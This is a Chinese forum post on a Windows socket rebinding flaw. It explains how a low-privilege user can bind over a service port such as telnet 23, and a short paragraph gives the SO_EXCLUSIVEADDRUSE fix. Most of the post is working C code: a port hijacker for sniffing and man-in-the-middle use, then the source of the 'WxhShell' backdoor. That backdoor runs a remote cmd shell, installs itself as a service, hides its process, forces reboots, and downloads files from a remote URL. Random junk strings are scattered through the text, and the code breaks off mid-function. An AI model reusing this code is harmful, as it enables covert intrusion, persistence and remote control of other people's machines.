-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: U;q];e:,=} s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )]htm&q5 E3aDDFDH saddr.sin_family = AF_INET; 7.g[SBUOG t2BL(yB saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,|kDsR! 6#@ f'~s bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ])}(k cC'x6\a 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 yR;{ Y>+y(ck 这意味着什么?意味着可以进行如下的攻击: N!2Rl U#&7p)4( 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Ch \&GzQ m3<+yz$!r 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) oXXC@[??}N 2*iIjw3g 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $*R/tJ. {0"YOS`3AX 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 *%/~mSx ^-z=`>SrS" 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 W ~f(:: JM- t<. 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \>QF(J [8 c%m3}mrb 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U.!lTLjfLz !> }.~[M #include ,#?uJTLH #include 0tg8~H3yy #include kn"(mJe$ #include xg_Df, DWORD WINAPI ClientThread(LPVOID lpParam); 6GPp>X int main()
Q6'x\ { rgmF: C WORD wVersionRequested; c(;a=n(E# DWORD ret; DwHF[]v' WSADATA wsaData; YuZ"s55zU{ BOOL val; N-
H^lqD SOCKADDR_IN saddr; l 'DsZ9y@2 SOCKADDR_IN scaddr; @f]{>OS int err; A+J*e SOCKET s; _BdE<
!r SOCKET sc; kHw_ S- int caddsize; r$Co0!. HANDLE mt; n_ lo` DWORD tid; &e-U5'(6v_ wVersionRequested = MAKEWORD( 2, 2 ); r%:+$aIt err = WSAStartup( wVersionRequested, &wsaData ); h\v'9 if ( err != 0 ) { ,to+oSZE printf("error!WSAStartup failed!\n"); Tm_B^W} return -1; b2b?hA'k } <Rh6r}f saddr.sin_family = AF_INET; r}[7x]sP Mi'8
~J //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 WOuEW w= ]e.JNo saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^uv<6 saddr.sin_port = htons(23); mKo C.J if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [ i#zP { >SPh2[f printf("error!socket failed!\n"); oF(Lji?m return -1; ;qH O OT } `W/sP\3 val = TRUE; r'QnX;99T //SO_REUSEADDR选项就是可以实现端口重绑定的 7$h#OV*@, if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) r{l(O,|e { pvmC$n^zc printf("error!setsockopt failed!\n"); F1L:,.e` return -1; a:QDBS2Llv }
Uf}\p~; //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; C4TE-OM8 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 s(X;Eha //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 P(F+f`T |$5[(6T| if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #9K-7je;j { a7N!B' y ret=GetLastError(); 3Zi@A4Wu printf("error!bind failed!\n"); k'0Pi6 return -1; 6 G=j6gK%P } ^%O]P`$ listen(s,2); xhcK~5C while(1) ZXm/A0)S { 4:g R r
caddsize = sizeof(scaddr); }.s~T#v //接受连接请求 giz7{Ai sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); gz3pX#S if(sc!=INVALID_SOCKET) {nLjY|* { Qxj JN^Q mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); M(/r%-D if(mt==NULL) [jmd { M)SEn/T- printf("Thread Creat Failed!\n"); 9K1oZ?)_z break; fW?o@vlO } N<~ku<nAU } O{#=d CloseHandle(mt); F_CYYGZ } 72'5%*1 closesocket(s); KEWTBBg WSACleanup(); i':C)7 return 0; cTG|fdgMW } IIbYfPiO DWORD WINAPI ClientThread(LPVOID lpParam) h<$MyN4]g { i[ mEi| SOCKET ss = (SOCKET)lpParam; w K}T`*k SOCKET sc; 6i}iAP|0 unsigned char buf[4096]; s_mS^`P7 SOCKADDR_IN saddr; yj\Nkh long num; P-9<YN DWORD val; %$b:X5$Z DWORD ret; z*-2.}&U< //如果是隐藏端口应用的话,可以在此处加一些判断 A{A\RSZ0 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 #'y#"cmQ. saddr.sin_family = AF_INET; 4ecP*g saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <)3u6Vky9 saddr.sin_port = htons(23); 0=?<y'= if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @Z12CrJ {
P
Y printf("error!socket failed!\n"); T:; 2 return -1; ,N)/w1?I } @H=:)*; val = 100; DP|D\+YyYA if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pS:4CNI{ { o,)?!{k} ret = GetLastError(); <*qnY7c&N; return -1; ]?(-[ } B8}Nvz
/ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %rv7Jy { @<elq'2 ret = GetLastError(); Fx2bwut.K return -1; yPal<c } 9?SZNL['V if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) U[ 0=L`0e { JT!9\i printf("error!socket connect failed!\n"); sr{a(4*\ closesocket(sc); 6}!#;@D~ closesocket(ss); *+#8mA( return -1; Ys\Wj%6A } H*r)Z90 while(1) 4GX-ma, { B\o Mn //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 C)`Fv=]R //如果是嗅探内容的话,可以再此处进行内容分析和记录 H["`Mn7j2 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 MB~=f[cUnd num = recv(ss,buf,4096,0); A|<jX} if(num>0) C@'h<[v`1v send(sc,buf,num,0); V T\F]Oa# else if(num==0) o%IA}e7PAa break; {y_98N num = recv(sc,buf,4096,0); 3R.W>U if(num>0) U`2e{>'4t send(ss,buf,num,0); #
mV{#B= else if(num==0) 9[.8cg* break; ,)vDeU } f}9zgWU closesocket(ss); f,kZ\Ia'r closesocket(sc); @}}$zv6l, return 0 ; ;6>2"{NW } e?8HgiP- '/^qJ7eb X\bOz[\ ========================================================== ;)D];u|_ ~T1XLu 下边附上一个代码,,WXhSHELL M`,)w i
zem8G2#c ========================================================== "eB$k40- m}7iTDJR9 #include "stdafx.h" 5\]Sv]s)R xdp`<POn% #include <stdio.h> hEKf6# #include <string.h> Z{]0jhUyNh #include <windows.h> cj$[E]B3V* #include <winsock2.h> UG+d-&~Ll #include <winsvc.h> 5kCUaPu #include <urlmon.h> 1;Ou7T9w wea-zN #pragma comment (lib, "Ws2_32.lib") ^")Q YE #pragma comment (lib, "urlmon.lib") lh7jux Nn!+,;ut #define MAX_USER 100 // 最大客户端连接数 --$
4Q(# #define BUF_SOCK 200 // sock buffer old(i:2 #define KEY_BUFF 255 // 输入 buffer _V7s#_p x!5'`A!W% #define REBOOT 0 // 重启 )48QBz? #define SHUTDOWN 1 // 关机 TJK[ev};S *Q?tl\E #define DEF_PORT 5000 // 监听端口 M
l Jo`d _`&m\Qe> #define REG_LEN 16 // 注册表键长度 `d5%.N #define SVC_LEN 80 // NT服务名长度 1Q<^8N)pf )u[emv$ // 从dll定义API tX_R_]v3 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a7r%X - typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D1zBsi94D typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p@xf^[50k typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }dgfqq &"&Z
#llb // wxhshell配置信息 QdF5Cwf4 struct WSCFG { >=:&D)m" int ws_port; // 监听端口 ILEz;D{] char ws_passstr[REG_LEN]; // 口令 VVac: int ws_autoins; // 安装标记, 1=yes 0=no WW4vn|0v char ws_regname[REG_LEN]; // 注册表键名 v%+:/m1 char ws_svcname[REG_LEN]; // 服务名 hT`J1nNt char ws_svcdisp[SVC_LEN]; // 服务显示名 O}-jCW;K char ws_svcdesc[SVC_LEN]; // 服务描述信息 6jE| char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &Sw%<N*r int ws_downexe; // 下载执行标记, 1=yes 0=no u0|8Tgf char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ?XrQ53 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;oW6 NJ f$e[u
Er }; Dfg2`l X[]m _@ v // default Wxhshell configuration G_bG struct WSCFG wscfg={DEF_PORT, We$:&K0 "xuhuanlingzhe", E ~Sb 1, 3!XjtVhK?I "Wxhshell", $q6BP'7 "Wxhshell", 7K,-01-: "WxhShell Service", )h"<\%LU "Wrsky Windows CmdShell Service", 8!O5quEc "Please Input Your Password: ", uwzvb gup? 1, }vxw*8d? " http://www.wrsky.com/wxhshell.exe", ~zCEpU|@N "Wxhshell.exe" -JMdE_h }; {.?ZHy\Rk Uc7mOa}4 // 消息定义模块 S?1AFI9{ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xST8|H char *msg_ws_prompt="\n\r? for help\n\r#>"; KHe=O1 %QO char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; PF)jdcX char *msg_ws_ext="\n\rExit."; K1mPr^3rC char *msg_ws_end="\n\rQuit."; `^u>9v-+' char *msg_ws_boot="\n\rReboot..."; *6sl char *msg_ws_poff="\n\rShutdown..."; $$|rr G char *msg_ws_down="\n\rSave to "; Cn'(<bl *SU\ABcov char *msg_ws_err="\n\rErr!"; G18F&c~ char *msg_ws_ok="\n\rOK!"; sqEI4~514 $?Yry.2 char ExeFile[MAX_PATH]; ^U
`[(kz= int nUser = 0; Ixb=L(V HANDLE handles[MAX_USER]; 2|3)S`WZl int OsIsNt; :o0JY= 5 ;&<{ey SERVICE_STATUS serviceStatus; sy:[T T!w SERVICE_STATUS_HANDLE hServiceStatusHandle; LJd5;so- D>/0v8
// 函数声明 LLk(l#K* int Install(void); 77C'*tt1] int Uninstall(void); K&POyOvT int DownloadFile(char *sURL, SOCKET wsh); e-:yb^ int Boot(int flag); w~(1%p/ void HideProc(void); ]op}y0 int GetOsVer(void); 7mI:|G int Wxhshell(SOCKET wsl); t[ubn+ void TalkWithClient(void *cs); QS%%^+E2 int CmdShell(SOCKET sock); HJLu'KY} int StartFromService(void); M2PAy! J int StartWxhshell(LPSTR lpCmdLine); `NCwK6/i CJ1 7n VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fsJ9bQm/ VOID WINAPI NTServiceHandler( DWORD fdwControl ); U{7w#>V
. ]RPs|R? // 数据结构和表定义 10)jsA SERVICE_TABLE_ENTRY DispatchTable[] = |SoCRjuCPM { ^T*? >%` {wscfg.ws_svcname, NTServiceMain}, oe%}?u {NULL, NULL} u[@l~gwL }; -}nxJH ) VCY\be // 自我安装 13 =A int Install(void) [$qyF|/K`n { v25R_""~ char svExeFile[MAX_PATH]; 7|{}\w(I HKEY key; ;nep5!s;< strcpy(svExeFile,ExeFile); "fG8?)d; N >FKy'.gk // 如果是win9x系统,修改注册表设为自启动 !TAlBkj if(!OsIsNt) { f%SZg!+t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DK$X2B"c V RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JLnH&(O RegCloseKey(key); {K+icTL3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I;e=0!9U RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \n$u)Xj~6^ RegCloseKey(key); h]Wr [v return 0; 4lr(,nPRD } n"c)m%yZ } H\h3TdL } $w)!3c4 else { J2::'Hw*s v4u5yy_;( // 如果是NT以上系统,安装为系统服务 NG--6\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2;zb\d if (schSCManager!=0) A0o-:n Fu { ti5mIW\ SC_HANDLE schService = CreateService GC>e26\: ( j}%ja_9S schSCManager, -wp|RD,}( wscfg.ws_svcname, c9HrMgW wscfg.ws_svcdisp, ZIf SERVICE_ALL_ACCESS, q;R],7Re SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0rOfrTNOz% SERVICE_AUTO_START, }T; P~aG SERVICE_ERROR_NORMAL, XlV0* }S svExeFile, zDw5]*R NULL, mtJ9nC NULL, ~ DBcIy? NULL, 4,sJE2"[9 NULL, I%r{]-Obr- NULL w\(.3W7 ); 5 xppKt if (schService!=0) mR&H9NG { z2MWN\?8 CloseServiceHandle(schService); <D:.(AUeO CloseServiceHandle(schSCManager); W~zbm] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d@ i}-; strcat(svExeFile,wscfg.ws_svcname); ?\vh9 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'm4W}F RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )Hpa}FGT RegCloseKey(key); Z)! qW? return 0; Ka[t75~; } uEktQ_u[ } Jbjmv:db CloseServiceHandle(schSCManager); **$LR<L } mp=z } o<[#0T^K i&5XF return 1; H=g`hF]` } G+%zn| qT%FmX // 自我卸载 I$<<(VWH int Uninstall(void) ;g @4|Ro { eZSNNgD<: HKEY key; =osv3>&q e7m*rh%5> if(!OsIsNt) { JTr vnA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SSPHhAeH8 RegDeleteValue(key,wscfg.ws_regname); nSW=LjrO~< RegCloseKey(key); eCqHvMp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K%a%a6k` RegDeleteValue(key,wscfg.ws_regname); t/cY=Wp RegCloseKey(key); $"FQj4%d return 0; jBgP$g } PK{acen } jF0jkj1&/[ } EH256f(& else { gu0j.XS^ \MbB# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eM$s v9? if (schSCManager!=0) [Jogt#Fj ] { ?\t#1"d SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %/|9@e r if (schService!=0) eO?p*"p" F { }
ud0&Oe{ if(DeleteService(schService)!=0) { Fx;QU)1l3 CloseServiceHandle(schService); )6q,>whI] CloseServiceHandle(schSCManager); r[BVvX/,F return 0; l8I /0`_ } swK-/$# CloseServiceHandle(schService); 9;r)#3Q[^ } hEBY8=gK CloseServiceHandle(schSCManager); ]^lw*724'> } }% `.h" } #~7ip\Uf[ zG ^$"f2 return 1; P(H8[ , } PcA2/!a )TVFtI=,NN // 从指定url下载文件 WU
quN int DownloadFile(char *sURL, SOCKET wsh) X$ s:>[H { K
P Oa|$ HRESULT hr; yf[~Yl>Ogw char seps[]= "/"; -=~| ."O char *token; ~$)2s7
O char *file; Pb1*\+ char myURL[MAX_PATH]; VFRi1\G char myFILE[MAX_PATH]; +89*)pk q(`/Vo4g( strcpy(myURL,sURL); rEB@$C^ token=strtok(myURL,seps); .?R!DYC` while(token!=NULL) <eQj`HL { \Ta"}TF8 file=token; &Xf^Iu token=strtok(NULL,seps); 3BtaH#ZY } bn!HUM,
/H8g( GetCurrentDirectory(MAX_PATH,myFILE); H."EUcE{ strcat(myFILE, "\\"); d-k%{eBV strcat(myFILE, file); {]:7bV#JP send(wsh,myFILE,strlen(myFILE),0); U)E(`{p] send(wsh,"...",3,0); >8k_n hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GBRa.;Kk if(hr==S_OK) /atW8 `& return 0; Q36qIq_0e else V:VO[e<e return 1; ~GL]wF2# n ~shK<!C } -'t)=YJ "Y~:|?(@- // 系统电源模块 >'&p>Ad) int Boot(int flag) cc~O&?)i { n=y[CKS HANDLE hToken; %-c*C $ TOKEN_PRIVILEGES tkp; hw=
Ft4L v":x4!kdX if(OsIsNt) { b:tob0TB OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Zc
W:6po> LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j2QmxTa! tkp.PrivilegeCount = 1; /SrCElabP tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 45,1-? -! AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >`A9[`$n if(flag==REBOOT) { mF,Y?ax if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zi]\<?\X return 0; &Low/Y'.jJ } s'%R else { FaDjLo2'o if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mP0yk| return 0; m^ tFi7c } y:~ZLTAv } -"=U?>( else { /5Oa,NS7 if(flag==REBOOT) { 1*9U1\z if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }]lr>"~y} return 0; L"o>wYx } kXi6lh else { B?'#4J if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =;2%a( return 0; {L/ tst#C } Y@N,qHtz } SqEgn}m$ G(p`1~xm return 1; Wu[&Wv~ } { g/0x,-Z %oZ6l* // win9x进程隐藏模块 925|bX6I void HideProc(void) \s=t|Wpu2 { C71qPb|$R E4|jOz^j4\ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w5A y)lz if ( hKernel != NULL ) BD_Iz A<wK { NQ(1 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); GP?M!C,/}k ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @+Si?8\ FreeLibrary(hKernel); BJM.iXU)[ } `*_mP<Ag [lWQ'DZ return; 2+QY hdw } i rU 6D Y
}$/e // 获取操作系统版本 ow_W%I=6 int GetOsVer(void) {2=jAz'? { A OISs4 OSVERSIONINFO winfo; 9x>d[-#y:J winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -likj#Z GetVersionEx(&winfo); y\Ic@-aWI if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m1B+31'>^ return 1; b:lP%|7 else jL%x7?*U0 return 0; ~<_2WQ/$ } *h!28Ya(~ r+":' /[x // 客户端句柄模块 rH_\d?b int Wxhshell(SOCKET wsl) 1*'HL# { FbS|~Rp~ SOCKET wsh; #_6I w`0 struct sockaddr_in client; g!lWu[d DWORD myID; $Tu61zq iV'k}rXC while(nUser<MAX_USER) /?@3.3sl_ { pGJ>O/% int nSize=sizeof(client); uE%r/:!k4$ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ([SU:F!uW( if(wsh==INVALID_SOCKET) return 1; }001K bCo7*<I4 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fZ0M%f if(handles[nUser]==0) =G7m)! closesocket(wsh); cq}EZ@ . else `A w^H! nUser++; .
$BUw } xF;kTBRi WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _P0T)-X\( $*e2YQdLo return 0; B*
?]H*K }
DJ'zz&K
coW:DFX // 关闭 socket Fq|Ni$ void CloseIt(SOCKET wsh) z\K"Rg~J { yE:+Lo`> closesocket(wsh); ;j[>9g nUser--; ,?>s>bHV ExitThread(0); X:HacYqtC } i,>khc hIy ~B[' // 客户端请求句柄 B"h#C!E void TalkWithClient(void *cs) 63\/ *
NNB { 7 HIeJ vB.E3 r= SOCKET wsh=(SOCKET)cs; ^2Fei.?T. char pwd[SVC_LEN]; CyS$|E char cmd[KEY_BUFF]; &]`(v}`] char chr[1]; ''yB5#^w( int i,j; r_
I5.gK "W6uV! while (nUser < MAX_USER) { OLyf8&AU@ gG0!C))8 if(wscfg.ws_passstr) { BXtCSfY$ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4Jp:x"w //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5rw 7;' //ZeroMemory(pwd,KEY_BUFF); dP3CG8w5 i=0; i3tg6o4C while(i<SVC_LEN) { _K]_
@Ivh |2O]R s // 设置超时 &S~zNl^m fd_set FdRead; z* ^_)Z struct timeval TimeOut; tr<Nm6! FD_ZERO(&FdRead); Hx"ob_^'7 FD_SET(wsh,&FdRead); nV"~-On TimeOut.tv_sec=8; e>6y%v; TimeOut.tv_usec=0; ((H^2KJn int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t<#TJ>Le if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); th O#ai)e_uQk if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ??^5;P{yx pwd =chr[0]; n&$j0k if(chr[0]==0xd || chr[0]==0xa) { @5N]ZQ9 pwd=0; CDsSrKhx break; J l(&!?j } LInz<bc<( i++; YWe{juXSw } &5\iM^ dG@%jD) // 如果是非法用户,关闭 socket %RTBV9LIXr if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <^&ehy:7y } z06r6 ,)0H3t send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Bo)3!wO8 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Rw"sJ) / nCUg,;_= while(1) { v\c>b:AofD EAT"pxP ZeroMemory(cmd,KEY_BUFF); N-G1h?e4 fT;s-v[`k // 自动支持客户端 telnet标准 l{5IUuUi j=0; "sS}N%! while(j<KEY_BUFF) { gqZ'$7So if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U>YAdrx2a cmd[j]=chr[0]; B^1>PE if(chr[0]==0xa || chr[0]==0xd) { yMG1XEhuG cmd[j]=0; bWH&P/> break; t)~"4]{*}D } QA<
Rhv, j++; Z/W:97M } +[M6X}
TQ [A~y%bI" // 下载文件 i`(XLi}k if(strstr(cmd,"http://")) { -)w@f~Q send(wsh,msg_ws_down,strlen(msg_ws_down),0); =m!-m\B/ if(DownloadFile(cmd,wsh)) dzARI` send(wsh,msg_ws_err,strlen(msg_ws_err),0); J1,9kCO else (/z_Q{"N send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o2nv+fyW } qU+t/C. else { VrHv)lUr m}C>ti`VD switch(cmd[0]) { ap.K=-H /$i.0$L
// 帮助 <NR#Y%}-V case '?': { bfFeBBi send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zZ7;jyD break; b+%f+zz*h } 3_ r*y9l // 安装 Hkk/xNP case 'i': { -f3p U:G8 if(Install()) w{Ivmdto send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^hG-~z< else UvJ}b send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @'w"R/,n-@ break; :G [|CPm- } QqDC4+p" // 卸载 VyXKZ%\dQ/ case 'r': { _G[g;$< if(Uninstall()) "7
4-4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); dz:E? else {Bk[rCl send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P60~V"/P break; 2V"B:X\ } v:f}XK< // 显示 wxhshell 所在路径 n D0K).=Q case 'p': { .t{MIC char svExeFile[MAX_PATH]; 9{'N{ strcpy(svExeFile,"\n\r"); aAZZ8V strcat(svExeFile,ExeFile); GOj-)i/_ send(wsh,svExeFile,strlen(svExeFile),0); ot,jp|N>f~ break; QCD.YFM } EOIN^4V" // 重启 cbNTj$'b2u case 'b': { F5LuSy+v send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "fQ~uzg=" if(Boot(REBOOT)) Pnk5mK$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); yg`j-9[8 else { {}>0e:51 closesocket(wsh); f~t:L,\, ExitThread(0); %oF}HF. } $I!XSz"/e break; _ q(ko/T } j:^#rFD4? // 关机 9`T)@Uj2n case 'd': { HD@$t)mn send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )YYf1o[+ if(Boot(SHUTDOWN)) )#EGTRdo send(wsh,msg_ws_err,strlen(msg_ws_err),0); g%ndvdb m else { qt"G[9; closesocket(wsh); k|v3.< - ExitThread(0); j?A/# } \<&m&%Zs break; hjU::m,WX } "$~':) V" // 获取shell N"pc,Q\xU case 's': { H~oail{EQ CmdShell(wsh); xj<Rp|7& closesocket(wsh); G|[ =/>~B ExitThread(0); .\\DKh% break; _mzW'~9wN } O#n8=B4 // 退出 Hta y-PB } case 'x': { ynmWW^dg send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <>n0arAn CloseIt(wsh); XpIklL7 break; Km%]1X7T6 } P!~MZ+7#& // 离开 GSY( case 'q': { QEm|])V send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?# Mr closesocket(wsh); \n" {qfn`r WSACleanup(); j>*S5y.{ exit(1); =4vy@7/ break; 8&;UO{ } b
IH; } a:+{f& } wGU*:k7p Hj'x Atx5 // 提示信息 _ftI*ni:< if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R]Vt Y7}i, } O1rvaOlr } NWP5If|'X LnFdhrB@x return; 7WZrSC } B5gj_^ jLy // shell模块句柄 pny11C int CmdShell(SOCKET sock) ylUrLQ\ { .v]IJfRH* STARTUPINFO si; 7wWFr ZeroMemory(&si,sizeof(si)); F@^~7ZmP` si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kHkpx52 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^le<} PROCESS_INFORMATION ProcessInfo; [M?}uK ^ char cmdline[]="cmd"; zqd@EF6/bz CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LO'**}vm return 0; -Q2, " } cy*?&~; *EI6dD" // 自身启动模式 @(l^]9(V\ int StartFromService(void) |D'4uN8\ { lNNv|YiL typedef struct sD<a+Lw}x { ZjT,pOSyb DWORD ExitStatus; []x#iOnC& DWORD PebBaseAddress; oYHj~t DWORD AffinityMask; |o,YCzy|5 DWORD BasePriority; SD#]$v ULONG UniqueProcessId; M])ZK ULONG InheritedFromUniqueProcessId; )W|w C# } PROCESS_BASIC_INFORMATION; Pnw]Tm}g zh4#A
<e PROCNTQSIP NtQueryInformationProcess; 1pQn8[sc@ Ulhk$CPA static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }L
